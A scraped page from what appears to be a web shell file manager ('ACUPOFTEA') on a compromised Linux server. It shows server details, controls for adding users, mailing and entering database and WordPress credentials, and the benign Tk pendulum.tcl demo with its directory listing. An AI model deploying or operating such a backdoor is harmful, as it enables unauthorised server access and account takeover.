System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
tk8.6
/
demos
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
pendulum.tcl
# pendulum.tcl -- # # This demonstration illustrates how Tcl/Tk can be used to construct # simulations of physical systems. if {![info exists widgetDemo]} { error "This script should be run from the \"widget\" demo." } package require Tk set w .pendulum catch {destroy $w} toplevel $w wm title $w "Pendulum Animation Demonstration" wm iconname $w "pendulum" positionWindow $w label $w.msg -font $font -wraplength 4i -justify left -text "This demonstration shows how Tcl/Tk can be used to carry out animations that are linked to simulations of physical systems. In the left canvas is a graphical representation of the physical system itself, a simple pendulum, and in the right canvas is a graph of the phase space of the system, which is a plot of the angle (relative to the vertical) against the angular velocity. The pendulum bob may be repositioned by clicking and dragging anywhere on the left canvas." pack $w.msg ## See Code / Dismiss buttons set btns [addSeeDismiss $w.buttons $w] pack $btns -side bottom -fill x # Create some structural widgets pack [panedwindow $w.p] -fill both -expand 1 $w.p add [labelframe $w.p.l1 -text "Pendulum Simulation"] $w.p add [labelframe $w.p.l2 -text "Phase Space"] # Create the canvas containing the graphical representation of the # simulated system. canvas $w.c -width 320 -height 200 -background white -bd 2 -relief sunken $w.c create text 5 5 -anchor nw -text "Click to Adjust Bob Start Position" # Coordinates of these items don't matter; they will be set properly below $w.c create line 0 25 320 25 -tags plate -fill grey50 -width 2 $w.c create oval 155 20 165 30 -tags pivot -fill grey50 -outline {} $w.c create line 1 1 1 1 -tags rod -fill black -width 3 $w.c create oval 1 1 2 2 -tags bob -fill yellow -outline black pack $w.c -in $w.p.l1 -fill both -expand true # Create the canvas containing the phase space graph; this consists of # a line that gets gradually paler as it ages, which is an extremely # effective visual trick. canvas $w.k -width 320 -height 200 -background white -bd 2 -relief sunken $w.k create line 160 200 160 0 -fill grey75 -arrow last -tags y_axis $w.k create line 0 100 320 100 -fill grey75 -arrow last -tags x_axis for {set i 90} {$i>=0} {incr i -10} { # Coordinates of these items don't matter; they will be set properly below $w.k create line 0 0 1 1 -smooth true -tags graph$i -fill grey$i } $w.k create text 0 0 -anchor ne -text "\u03b8" -tags label_theta $w.k create text 0 0 -anchor ne -text "\u03b4\u03b8" -tags label_dtheta pack $w.k -in $w.p.l2 -fill both -expand true # Initialize some variables set points {} set Theta 45.0 set dTheta 0.0 set pi 3.1415926535897933 set length 150 set home 160 # This procedure makes the pendulum appear at the correct place on the # canvas. If the additional arguments "at $x $y" are passed (the 'at' # is really just syntactic sugar) instead of computing the position of # the pendulum from the length of the pendulum rod and its angle, the # length and angle are computed in reverse from the given location # (which is taken to be the centre of the pendulum bob.) proc showPendulum {canvas {at {}} {x {}} {y {}}} { global Theta dTheta pi length home if {$at eq "at" && ($x!=$home || $y!=25)} { set dTheta 0.0 set x2 [expr {$x - $home}] set y2 [expr {$y - 25}] set length [expr {hypot($x2, $y2)}] set Theta [expr {atan2($x2, $y2) * 180/$pi}] } else { set angle [expr {$Theta * $pi/180}] set x [expr {$home + $length*sin($angle)}] set y [expr {25 + $length*cos($angle)}] } $canvas coords rod $home 25 $x $y $canvas coords bob \ [expr {$x-15}] [expr {$y-15}] [expr {$x+15}] [expr {$y+15}] } showPendulum $w.c # Update the phase-space graph according to the current angle and the # rate at which the angle is changing (the first derivative with # respect to time.) proc showPhase {canvas} { global Theta dTheta points psw psh lappend points [expr {$Theta+$psw}] [expr {-20*$dTheta+$psh}] if {[llength $points] > 100} { set points [lrange $points end-99 end] } for {set i 0} {$i<100} {incr i 10} { set list [lrange $points end-[expr {$i-1}] end-[expr {$i-12}]] if {[llength $list] >= 4} { $canvas coords graph$i $list } } } # Set up some bindings on the canvases. Note that when the user # clicks we stop the animation until they release the mouse # button. Also note that both canvases are sensitive to <Configure> # events, which allows them to find out when they have been resized by # the user. bind $w.c <Destroy> { after cancel $animationCallbacks(pendulum) unset animationCallbacks(pendulum) } bind $w.c <1> { after cancel $animationCallbacks(pendulum) showPendulum %W at %x %y } bind $w.c <B1-Motion> { showPendulum %W at %x %y } bind $w.c <ButtonRelease-1> { showPendulum %W at %x %y set animationCallbacks(pendulum) [after 15 repeat [winfo toplevel %W]] } bind $w.c <Configure> { %W coords plate 0 25 %w 25 set home [expr %w/2] %W coords pivot [expr $home-5] 20 [expr $home+5] 30 } bind $w.k <Configure> { set psh [expr %h/2] set psw [expr %w/2] %W coords x_axis 2 $psh [expr %w-2] $psh %W coords y_axis $psw [expr %h-2] $psw 2 %W coords label_dtheta [expr $psw-4] 6 %W coords label_theta [expr %w-6] [expr $psh+4] } # This procedure is the "business" part of the simulation that does # simple numerical integration of the formula for a simple rotational # pendulum. proc recomputeAngle {} { global Theta dTheta pi length set scaling [expr {3000.0/$length/$length}] # To estimate the integration accurately, we really need to # compute the end-point of our time-step. But to do *that*, we # need to estimate the integration accurately! So we try this # technique, which is inaccurate, but better than doing it in a # single step. What we really want is bound up in the # differential equation: # .. - sin theta # theta + theta = ----------- # length # But my math skills are not good enough to solve this! # first estimate set firstDDTheta [expr {-sin($Theta * $pi/180)*$scaling}] set midDTheta [expr {$dTheta + $firstDDTheta}] set midTheta [expr {$Theta + ($dTheta + $midDTheta)/2}] # second estimate set midDDTheta [expr {-sin($midTheta * $pi/180)*$scaling}] set midDTheta [expr {$dTheta + ($firstDDTheta + $midDDTheta)/2}] set midTheta [expr {$Theta + ($dTheta + $midDTheta)/2}] # Now we do a double-estimate approach for getting the final value # first estimate set midDDTheta [expr {-sin($midTheta * $pi/180)*$scaling}] set lastDTheta [expr {$midDTheta + $midDDTheta}] set lastTheta [expr {$midTheta + ($midDTheta + $lastDTheta)/2}] # second estimate set lastDDTheta [expr {-sin($lastTheta * $pi/180)*$scaling}] set lastDTheta [expr {$midDTheta + ($midDDTheta + $lastDDTheta)/2}] set lastTheta [expr {$midTheta + ($midDTheta + $lastDTheta)/2}] # Now put the values back in our globals set dTheta $lastDTheta set Theta $lastTheta } # This method ties together the simulation engine and the graphical # display code that visualizes it. proc repeat w { global animationCallbacks # Simulate recomputeAngle # Update the display showPendulum $w.c showPhase $w.k # Reschedule ourselves set animationCallbacks(pendulum) [after 15 [list repeat $w]] } # Start the simulation after a short pause set animationCallbacks(pendulum) [after 500 [list repeat $w]]
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
..
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
images
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
README
text/plain
2.03 KB
-rw-r--r--
2019-10-16 05:25:12
anilabel.tcl
text/plain
6.51 KB
-rw-r--r--
2019-10-16 05:25:12
aniwave.tcl
text/plain
3.41 KB
-rw-r--r--
2019-10-16 05:25:12
arrow.tcl
text/plain
7.8 KB
-rw-r--r--
2019-10-16 05:25:12
bind.tcl
text/plain
2.88 KB
-rw-r--r--
2019-10-16 05:25:12
bitmap.tcl
text/plain
1.38 KB
-rw-r--r--
2019-10-16 05:25:12
browse
text/x-shellscript
1.72 KB
-rwxr-xr-x
2019-10-16 05:25:12
button.tcl
text/plain
1.47 KB
-rw-r--r--
2019-10-16 05:25:12
check.tcl
text/plain
2.22 KB
-rw-r--r--
2019-10-16 05:25:12
clrpick.tcl
text/plain
1.4 KB
-rw-r--r--
2019-10-16 05:25:12
colors.tcl
text/plain
4.88 KB
-rw-r--r--
2019-10-16 05:25:12
combo.tcl
text/plain
1.92 KB
-rw-r--r--
2019-10-16 05:25:12
cscroll.tcl
text/plain
3.31 KB
-rw-r--r--
2019-10-16 05:25:12
ctext.tcl
text/plain
5.88 KB
-rw-r--r--
2019-10-16 05:25:12
dialog1.tcl
text/plain
660 B
-rw-r--r--
2019-10-16 05:25:12
dialog2.tcl
text/plain
613 B
-rw-r--r--
2019-10-16 05:25:12
en.msg
text/plain
3.78 KB
-rw-r--r--
2019-10-16 05:25:12
entry1.tcl
text/plain
1.35 KB
-rw-r--r--
2019-10-16 05:25:12
entry2.tcl
text/plain
2.03 KB
-rw-r--r--
2019-10-16 05:25:12
entry3.tcl
text/plain
5.96 KB
-rw-r--r--
2019-10-16 05:25:12
filebox.tcl
text/plain
2.3 KB
-rw-r--r--
2019-10-16 05:25:12
floor.tcl
text/plain
77.25 KB
-rw-r--r--
2019-10-16 05:25:12
fontchoose.tcl
text/plain
1.71 KB
-rw-r--r--
2019-10-16 05:25:12
form.tcl
text/plain
1.02 KB
-rw-r--r--
2019-10-16 05:25:12
goldberg.tcl
text/plain
55.23 KB
-rw-r--r--
2019-10-16 05:25:12
hello
text/x-shellscript
512 B
-rwxr-xr-x
2019-10-16 05:25:12
hscale.tcl
text/plain
1.46 KB
-rw-r--r--
2019-10-16 05:25:12
icon.tcl
text/plain
2.01 KB
-rw-r--r--
2019-10-16 05:25:12
image1.tcl
text/plain
1002 B
-rw-r--r--
2019-10-16 05:25:12
image2.tcl
text/plain
3.27 KB
-rw-r--r--
2019-10-16 05:25:12
items.tcl
text/plain
9.9 KB
-rw-r--r--
2019-10-16 05:25:12
ixset
text/x-shellscript
7.88 KB
-rwxr-xr-x
2019-10-16 05:25:12
knightstour.tcl
text/plain
8.93 KB
-rw-r--r--
2019-10-16 05:25:12
label.tcl
text/plain
1.35 KB
-rw-r--r--
2019-10-16 05:25:12
labelframe.tcl
text/plain
1.8 KB
-rw-r--r--
2019-10-16 05:25:12
license.terms
text/plain
2.21 KB
-rw-r--r--
2019-10-16 05:25:12
mclist.tcl
text/plain
4.25 KB
-rw-r--r--
2019-10-16 05:25:12
menu.tcl
text/plain
6.62 KB
-rw-r--r--
2019-10-16 05:25:12
menubu.tcl
text/plain
4.37 KB
-rw-r--r--
2019-10-16 05:25:12
msgbox.tcl
text/plain
1.95 KB
-rw-r--r--
2019-10-16 05:25:12
nl.msg
text/plain
6.59 KB
-rw-r--r--
2019-10-16 05:25:12
paned1.tcl
text/plain
1.08 KB
-rw-r--r--
2019-10-16 05:25:12
paned2.tcl
text/plain
2.19 KB
-rw-r--r--
2019-10-16 05:25:12
pendulum.tcl
text/plain
7.42 KB
-rw-r--r--
2019-10-16 05:25:12
plot.tcl
text/plain
2.69 KB
-rw-r--r--
2019-10-16 05:25:12
puzzle.tcl
text/plain
2.54 KB
-rw-r--r--
2019-10-16 05:25:12
radio.tcl
text/plain
2.69 KB
-rw-r--r--
2019-10-16 05:25:12
rmt
text/x-shellscript
5.19 KB
-rwxr-xr-x
2019-10-16 05:25:12
rolodex
text/x-shellscript
8.11 KB
-rwxr-xr-x
2019-10-16 05:25:12
ruler.tcl
text/plain
5.09 KB
-rw-r--r--
2019-10-16 05:25:12
sayings.tcl
text/plain
2.22 KB
-rw-r--r--
2019-10-16 05:25:12
search.tcl
text/plain
4.3 KB
-rw-r--r--
2019-10-16 05:25:12
spin.tcl
text/plain
1.78 KB
-rw-r--r--
2019-10-16 05:25:12
states.tcl
text/plain
2 KB
-rw-r--r--
2019-10-16 05:25:12
style.tcl
text/plain
6.78 KB
-rw-r--r--
2019-10-16 05:25:12
tclIndex
text/plain
4.25 KB
-rw-r--r--
2019-10-16 05:25:12
tcolor
text/x-shellscript
10.99 KB
-rwxr-xr-x
2019-10-16 05:25:12
text.tcl
text/plain
4.17 KB
-rw-r--r--
2019-10-16 05:25:12
textpeer.tcl
text/plain
2.14 KB
-rw-r--r--
2019-10-16 05:25:12
timer
text/x-shellscript
1.07 KB
-rwxr-xr-x
2019-10-16 05:25:12
toolbar.tcl
text/plain
3.19 KB
-rw-r--r--
2019-10-16 05:25:12
tree.tcl
text/plain
3.09 KB
-rw-r--r--
2019-10-16 05:25:12
ttkbut.tcl
text/plain
3.33 KB
-rw-r--r--
2019-10-16 05:25:12
ttkmenu.tcl
text/plain
2.33 KB
-rw-r--r--
2019-10-16 05:25:12
ttknote.tcl
text/plain
2.26 KB
-rw-r--r--
2019-10-16 05:25:12
ttkpane.tcl
text/plain
4.07 KB
-rw-r--r--
2019-10-16 05:25:12
ttkprogress.tcl
text/plain
1.5 KB
-rw-r--r--
2019-10-16 05:25:12
ttkscale.tcl
text/plain
1.39 KB
-rw-r--r--
2019-10-16 05:25:12
twind.tcl
text/plain
10.79 KB
-rw-r--r--
2019-10-16 05:25:12
unicodeout.tcl
text/plain
4.3 KB
-rw-r--r--
2019-10-16 05:25:12
vscale.tcl
text/plain
1.44 KB
-rw-r--r--
2019-10-16 05:25:12
widget
text/x-shellscript
22.72 KB
-rwxr-xr-x
2019-10-16 05:25:12
~ ACUPOFTEA - mail.ontime-ae.com